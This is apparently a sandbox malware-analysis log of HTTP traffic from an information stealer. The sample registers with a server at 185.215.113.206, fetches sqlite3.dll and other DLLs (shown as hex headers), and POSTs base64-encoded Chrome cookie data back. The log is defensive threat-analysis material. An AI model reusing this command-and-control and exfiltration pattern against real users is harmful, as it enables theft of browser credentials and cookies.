61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 04:52:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 04:52:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 04:52:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 04:52:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 43 37 41 34 32 31 39 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="hwid"7DC7A4219B1A2447771074------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="build"tale------CBFBKFIDHIDGHJKFBGHC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="message"browsers------EBAFBGIDHCBFHIECFCBG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="message"plugins------AFHDHCAAKECFIDHIEBAK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="message"fplugins------CBFBKFIDHIDGHJKFBGHC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAKHost: 185.215.113.206Content-Length: 5867Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJDGIJJKEGIEBGCGDHCHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 2d 2d 0d 0a Data Ascii: ------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIJDGIJJKEGIEBGCGDHC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDGHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBFCFIJJJEBGDBAKEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 